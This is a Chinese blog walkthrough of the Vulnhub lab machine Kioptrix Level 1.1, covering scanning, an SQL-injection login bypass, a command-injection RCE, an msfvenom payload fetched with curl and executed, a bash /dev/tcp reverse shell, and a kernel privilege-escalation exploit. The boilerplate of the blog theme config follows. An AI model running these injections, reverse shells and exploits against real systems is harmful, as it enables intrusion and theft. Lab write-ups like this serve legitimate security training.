0×02 Vulnhub靶机渗透总结之 KIOPTRIX: LEVEL 1.1 (#2)
🔥系列专栏:Vulnhub靶机渗透系列
🔥欢迎大佬:👍点赞⭐️收藏➕关注
🔥首发时间: 2023年8月20日
🌴如有错误 还望告知 万分感谢
-
0×02 Vulnhub靶机渗透总结之 KIOPTRIX: LEVEL 1.1 (#2)
- 🌴 基本信息:
-
🌴 信息收集
- 主机发现、端口扫描、服务枚举、脚本漏扫(nmap)
- PORT 111 rpcbind
- PORT 631 ipp
- 目录扫描(dirsearch、gobuster)
- PORT 80 HTTP – sqli(sqlmap)🔑
- PORT 80 HTTP – rce(commix)🔑
- PORT 22 ssh 登录
- 🌴 shell as user(msfvonom、msf)🔑
-
🌴 二次收集
- 提权信息收集(LinEnum)
- 漏洞探针(linux-exploit-suggester)
- 🌴 shell as root (内核提权)🔑
-
🌴 其他
- 敏感信息-数据库配置文件
- commix工具生成shell反弹 🔑
- 提权信息枚举一些其他信息
- 🌴 思路总结
- 🌴 技巧
🌴 基本信息:
KIOPTRIX:LEVEL1.1(#2),vulnhub平台下简单难度靶机。信息搜集需要总结什么情况下把信息归结为干扰信息,从利用选择到信息搜集和枚举以及反弹shel的l获得,要思考从哪里作为入口能更快速解决战场。实战就是这样,大处的利用你要会,小的知识点、技能点也不能含糊。小试牛刀一下三种反弹shell的方式,很精彩的一台以RCE为主的靶机,值得研究和学习。提权阶段是内核提权,锻炼渗透思维的好机器。
此外,网页表格无法正常加载,是由于css属性缺失个单引号
开放端口tcp 22,80,111,443,620,631,3306
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
624/tcp open status 1 (RPC #100024)
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
PORT 111 rpcbind
没有枚举出其他值得注意的服务
searchsploit rpcbind
nmap -sSUC -p111 192.168.10.1
PORT 631 ipp
ipp协议 打印机相关
searchsploit CUPS 1.1
7550.c 可能可以本地提权
目录扫描(dirsearch、gobuster)
未找到隐藏文件和其他有用的目录
dirsearch -u "http://192.168.80.177" -o dirsearch_info
gobuster dir -u http://192.168.80.177 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
PORT 80 HTTP – sqli(sqlmap)🔑
登录功能(http://192.168.80.177/),使用万能密码' or 1=1#
成功登录(或者使用sqlmap
检测注入点),进入的新页面具有ping功能。
sqlmap -u "http://192.168.80.177" --data="uname=admin&psw=admin&btnLogin=Login" --risk 3 -D "webapp" -T users -C password,username --dump
从webapp库users表 获取到以下用户凭证信息:admin/5afac8d85f 和 john/66lajGGbla
PORT 80 HTTP – rce(commix)🔑
网页ping功能
ping功能。请求用burp捕捉保存到文件post,使用commix
工具检测命令注入,发现不需要闭合直接拼接。
commix -r /home/wsec/kioptrix2/post -p ip
127.0.0.1|ls
127.0.0.1|cat
存在RCE,请求包中ip参数的POC为 127.0.0.1;id
PORT 22 ssh 登录
searchsploit OpenSSH 3.9
ssh -oHostKeyAlgorithms=+ssh-dss admin@192.168.80.140
ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.80.140
opebssh版本未找到可利用的,用sqlmap获取到的两个凭证也无法SSH登录。想到网页存在RCE,尝试利用RCE反弹shell。
🌴 shell as user(msfvonom、msf)🔑
msfvenom
生成后门命名为shell4444
,开启http服务上传shell给靶机下载,msf进行监听,然后靶场执行shell,成功反弹shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.148 LPOTR=4444 -b "x00" -e x86/shikata_ga_nai -f elf -o shell4444
python3 -m http.server --bind 0.0.0.0 8080
127.0.1.1|curl http://192.168.80.148:8080/shell4444 -o /tmp/shell
127.0.1.1|chmod u+x /tmp/shell;/tmp/shell
127.0.1.1|chmod u+x /tmp/shell;(/tmp/shell &) #为了使shell后台运行
//最直接的方法是kali监听直接在网页反弹 127.0.0.1|bash -i >& /dev/tcp/192.168.80.148/2233 0>&1
,nc -lvp 2233
拿到apache用户权限。
🌴 二次收集
提权信息收集(LinEnum)
自动执行提权过程中可能用到的几十条命令并整理输出,有关键的发现会以黄色标题突出显示。
python3 -m http.server --bind 0.0.0.0 8080
//靶机
wget 192.168.80.148:8080/LinEnum.sh
./LinEnum.sh -r linenum_info -e /tmp/ -t
从枚举的一些信息中,列出了目标靶机版本信息、用户信息、权限信息、环境信息、第三方软件信息,进程信息等
漏洞探针(linux-exploit-suggester)
./linux-exploit-suggester.sh
./linux-exploit-suggester.sh -g
靶机bash版本太低无法执行,直接手动在漏洞库搜对应版本漏洞
🌴 shell as root (内核提权)🔑
Linux Kernel 2.6 ,对应的是9542.c。(CVE-2009-2698))
攻击机漏洞库提取9542.c,开启http服务靶机wget到/tmp目录。靶机远程下载9542.c,gcc编译后执行
searchsploit Linux Kernel 2.6 Centos
searchsploit -m 9542
python3 -m http.server --bind 0.0.0.0 8080
gcc 9542.c -o test9542
./test9542
成功拿到root权限。
🌴 其他
敏感信息-数据库配置文件
apache权限,/vat/www/html/index.php
记录了mysql连接用户名密码,可以从这点切入到数据库。
mysql -uroot -phiroshima -e "select User,Password from mysql.user;"
mysql -ujohn -phiroshima -e "select * from webapp.users;"
mysql.user 发现所有用户密码相同。webapp.users 可以查看到所有web登录凭据。
commix工具生成shell反弹 🔑
web渗透检测RCE时就可以直接在commix工具生成反弹shell
提权信息枚举一些其他信息
### SYSTEM ##############################################
Linux version 2.6.9-55.EL
[-] Group memberships:
uid=500(john) gid=500(john) groups=500(john)
uid=501(harold) gid=501(harold) groups=501(harold)
### SERVICES #############################################
root 3144 0.0 0.9 5576 1236 ? S Aug18 0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --soc
ket=/var/lib/mysql/mysql.sock --err-log=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
mysql 3193 0.1 15.2 126400 19244 ? Sl Aug18 0:17 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql
--user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sock
### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.6.7p5
[-] MYSQL version:
mysql Ver 14.7 Distrib 4.1.22, for redhat-linux-gnu (i686) using readline 4.3
[-] Apache version:
Server version: Apache/2.0.52
Server built: May 4 2007 06:25:03
mysql服务不是以高权限运行而是以mysql用户运行
/var/spool/mail 有root用户的邮件信息,但无权查看
sudo版本无法利用,mysql没有存在可用的漏洞,apache有一个dos漏洞
🌴 思路总结
一、主机发现、端口扫描
-
22(ssh):只能尝试爆破
-
80(http):优先考虑
-
111(rpc):放最后
-
443(https):优先考虑
-
631(ipp):打印机共享使用地端口。放最后考虑
-
3306(mysql):优先考虑
二、服务枚举。
- Apache 2.0.52
- Mysql 版本未知
三、从端口出发,看有没有可以利用的漏洞,首先是端口80。
-
登录功能,使用万能密码成功登录,并用
sqlmap
进行注入获取到了数据库存储的两个用户凭据(但尝试ssh失败)。 -
网页ping功能,使用
commix
检测出了页面存在RCE。 -
使用
msfvonom
生成的后门,利用RCE漏洞构造请求让目标执行后门程序,MSF成功监听到信息,拿到apache权限,获得系统立足点。
四、提权阶段使用 LinEnum 收集目标提权所涉及到的相关信息,而后使用内核提权成功拿到root权限。
🌴 技巧
- 反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。
- linux内核提权时,可以在靶机上远程下载攻击机上准备好的的poc,在靶机进行gcc编译,避免由于环境问题。只有目标机器上将目录切换到/tmp才有下载文件的权限。
- https://gtfobins.github.io/ 收录了可利用的二进制文件,以及如何获得root权限
- 直接udf提权遇到waf的话会被拦截禁止执行系统函数。使用端口转发过掉防护
- 可能EXP太多,要尝试缩小搜索范围,做出权衡与比对。例如系统内核信息
writeup Hack The Kioptrix Level-1.1
本文部分图文来源于网络,仅作学术分享,实验环境是本地搭建的靶机,目的在于维护网络安全,不做任何导向。如果非法使用,一切法律后果自行承担。
2023-08-21 11:41
wsec
阅读(35)
评论(0)
编辑
收藏
举报
var cb_entryId = 17645629, cb_entryCreatedDate = ‘2023-08-21 11:41’, cb_postType = 1, cb_postTitle = ‘KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权’;
var allowComments = true, cb_blogId = 800320, cb_blogApp = ‘wsec’, cb_blogUserGuid = ‘b0a6fffc-e6db-4dac-ce2e-08db9a71410a’;
mermaidRender.render()
markdown_highlight()
zoomManager.apply(“#cnblogs_post_body img:not(.code_img_closed):not(.code_img_opened)”);
updatePostStats(
[cb_entryId],
function(id, count) { $(“#post_view_count”).text(count) },
function(id, count) { $(“#post_comment_count”).text(count) });
loadBlogDefaultCalendar();
loadBlogSideColumn();
const config = {
// 默认启用皮肤 ‘reacg’
// 在这里添加自定义配置
//参考https://www.yuque.com/awescnb/user/rycpvv#c6a60f3a
//主题配置
theme: {
name: ‘reacg’,
avatar: ‘https://pic.cnblogs.com/avatar/3260579/20230820160128.png’, //头像
headerBackground: ”,
// …
},
//github
github: {
enable: false,
color: ‘#ffb3cc’,
url: ‘https://github.com/cws001’,
},
gitee: {
enable: false,
color: ‘#C71D23’,
url: ‘https://gitee.com/guangzan/awescnb’,
},
//首页底部自定义链接
// links: [
// {
// name: ‘xxx’,
// link: ‘xxx’,
// },
// {
// name: ‘xxx’,
// link: ‘xxx’,
// },
// ],
//个性签名
signature: {
enable: true,
contents: [
“Attaceker Coder Player.”,
//”console.log(🍺);”,
],
},
//公告下二维码
qrcode: {
enable: false,
img: ”,
desc: ”,
},
//背景
bodyBackground: {
enable: false,
value:
‘https://pic4.zhimg.com/v2-570aad7dbef96e49ab01780ab7ebc98b_r.jpg’,
opacity: 0.85,
repeat: false,
},
//Live2D 模型
live2d: {
enable: true,
page: ‘all’,
agent: ‘pc’,
model: ‘haru-01’,
width: 150,
height: 200,
position: ‘left’,
gap: ‘default’,
},
//音乐播放器
musicPlayer: {
enable: false,
autoplay: false,
lrc: {
enable: true, // 启用歌词
type: 1, // 歌词类型 1 -> 字符串 3 -> url
color: ‘#10ac84’, // 颜色
},
audio: [
{
name: ‘404 not found’,
artist: ‘REOL’,
url:
‘http://music.163.com/song/media/outer/url?id=436016480.mp3’,
cover:
‘http://p2.music.126.net/cu1sEIDxXOJm5huZ3Wjs0Q==/18833534672880379.jpg?param=300×300’,
lrc:
“[ti:404 not found][ar:REOL][al:Σ][by:菜籽酱][00:00.000] 作曲 : Reol[00:00.008] 作词 : Reol[00:00.25][00:01.69]fade away…do over again…[00:13.35][00:13.76]歌い始めの一文字目 いつも迷ってる[00:18.57]どうせとりとめのないことだけど[00:22.85]伝わらなきゃもっと意味がない[00:26.84][00:27.38]どうしたってこんなに複雑なのに[00:30.75]噛み砕いてやらなきゃ伝わらない[00:34.18]ほら結局歌詞なんかどうだっていい[00:37.64]僕の音楽なんかこの世になくたっていいんだよ[00:41.32][00:54.74]Everybody don’t know why.[00:58.20]Everybody don’t know much.[01:01.56]僕は気にしない 君は気付かない[01:04.99]何処にももういないいない[01:08.17][01:08.59]Everybody don’t know why.[01:11.86]Everybody don’t know much.[01:15.25]忘れていく 忘れられていく[01:18.61]We don’t know,We don’t know.[01:22.86][01:39.61]目の前 広がる現実世界がまた歪んだ[01:46.30]何度リセットしても[01:47.57]僕は僕以外の誰かには生まれ変われない[01:51.88]「そんなの知ってるよ」[01:53.41]気になるあの子の噂話も[01:56.52]シニカル標的は次の速報[01:59.75][02:00.22]麻痺しちゃってるこっからエスケープ[02:03.57]遠く遠くまで行けるよ[02:06.71][02:07.15]安定なんてない 不安定な世界[02:14.04]安定なんてない きっと明日には忘れるよ[02:20.52][02:22.35]fade away…do over again…[02:33.62][02:34.41]そうだ世界はどこかがいつも嘘くさい[02:37.51]綺麗事だけじゃ大事な人たちすら守れない[02:41.06]くだらない 僕らみんなどこか狂ってるみたい[02:44.48]本当のことなんか全部神様も知らない[02:48.56][03:03.39]Everybody don’t know why.[03:06.80]Everybody don’t know much.[03:10.17]僕は気にしない 君は気付かない[03:13.62]何処にももういないいない[03:17.02][03:17.46]Everybody don’t know why.[03:20.49]Everybody don’t know much.[03:23.88]忘れていく 忘れられていく[03:27.18]We don’t know,We don’t know.[03:29.83]”,
},
],
},
//点击特效
click: {
enable: false,
auto: false,
colors: [‘#FF1461’, ‘#18FF92’, ‘#5A87FF’, ‘#FBF38C’],
size: 30,
maxCount: 50,
},
//文章末尾博文签名
postSignature: {
enable: false,
enableLicense: true,
licenseName: ”,
licenseLink: ”,
content: [‘这是一条自定义内容’, ‘这是一条自定义内容’],
},
//文章目录
catalog: {
enable: true,
position: ‘sidebar’, //’sidebar’ ‘left’ ‘right’
},
//右下按钮工具
tools: {
enable: true,
initialOpen: true,
},
//博文头图
postTopimage: {
enable: false,
imgs: [‘https://cdn.nlark.com/yuque/0/2020/png/745037/1606466528246-7e430877-0cde-4f1c-ace3-9584967be9e7.png?x-oss-process=image%2Fresize%2Cw_809%2Climit_0’],
},
//尾图
postBottomimage: {
enable: false,
img: ”,
height: ‘200px’
},
//首页列表图片
indexListImg: {
enable: false,
imgs: [],
},
//评论表情
emoji: {
enable: true,
buttonIcon: “🥳”,
emojiList: [
{
value: ‘https://images.cnblogs.com/cnblogs_com/gshang/1626876/o_2001050555139.png’,
label: ”,
},
{
value: ‘🤣’,
label: ‘笑哭’,
},
{
value: ‘😃’,
label: ‘大笑’,
},
{
value: ‘😅’,
label: ‘苦笑’,
},
{
value: ‘😆’,
label: ‘斜眼笑’,
},
{
value: ‘😏’,
label: ‘得意’,
},
{
value: ‘😊’,
label: ‘微笑’,
},
{
value: ‘😎’,
label: ‘酷!’,
},
{
value: ‘😍’,
label: ‘花痴’,
},
{
value: ‘🙂’,
label: ‘呵呵’,
},
{
value: ‘🤩’,
label: ‘好崇拜哦’,
},
{
value: ‘🤔’,
label: ‘思考’,
},
{
value: ‘🙄’,
label: ‘白眼’,
},
{
value: ‘😜’,
label: ‘略略略’,
},
{
value: ‘😲’,
label: ‘呆住’,
},
{
value: ‘😭’,
label: ‘大哭’,
},
{
value: ‘🤯’,
label: ‘头炸了’,
},
{
value: ‘😰’,
label: ‘冷汗’,
},
{
value: ‘😱’,
label: ‘吓死了’,
},
{
value: ‘🤪’,
label: ‘略略略’,
},
{
value: ‘😵’,
label: ‘晕’,
},
{
value: ‘😡’,
label: ‘愤怒’,
},
{
value: ‘🥳’,
label: ‘祝贺’,
},
{
value: ‘🤡’,
label: ‘小丑竟是我’,
},
{
value: ‘🤫’,
label: ‘嘘~’,
},
{
value: ‘🐒’,
label: ‘猴’,
},
{
value: ‘🤭’,
label: ‘笑笑不说话’,
},
{
value: ‘🐂’,
label: ‘牛’,
},
{
value: ‘🍺’,
label: ‘啤酒’,
},
{
value: ‘(=・ω・=)’,
label: ”,
},
{
value: ‘(`・ω・´)’,
label: ”,
},
{
value: ‘(°∀°)ノ’,
label: ”,
},
{
value: ‘←_←’,
label: ”,
},
{
value: ‘→_→’,
label: ”,
},
{
value: ‘Σ(゚д゚;)’,
label: ”,
},
{
value: ‘(。・ω・。)’,
label: ”,
},
{
value: ‘(-_-#)’,
label: ”,
},
]
},
}
$.awesCnb(config)
window.dataLayer = window.dataLayer || [];
function gtag() { dataLayer.push(arguments); }
gtag(‘js’, new Date());
gtag(‘config’, ‘G-M95P3TTWJZ’);
机房租用,北京机房托管,大带宽租用,IDC机房服务器主机租用托管-价格及服务咨询 www.e1idc.net
var commentManager = new blogCommentManager();
commentManager.renderComments(0);
fixPostBody();
window.footnoteTipManager.generateFootnoteTips();
window.tocManager.displayDisableTocTips = false;
window.tocManager.generateToc();
setTimeout(function() { countViews(cb_blogId, cb_entryId); }, 50);
deliverT2();
deliverC1C2();
loadNewsAndKb();
LoadPostCategoriesTags(cb_blogId, cb_entryId);
LoadPostInfoBlock(cb_blogId, cb_entryId, cb_blogApp, cb_blogUserGuid);
GetPrevNextPost(cb_entryId, cb_blogId, cb_entryCreatedDate, cb_postType);
loadOptUnderPost();
GetHistoryToday(cb_blogId, cb_blogApp, cb_entryCreatedDate);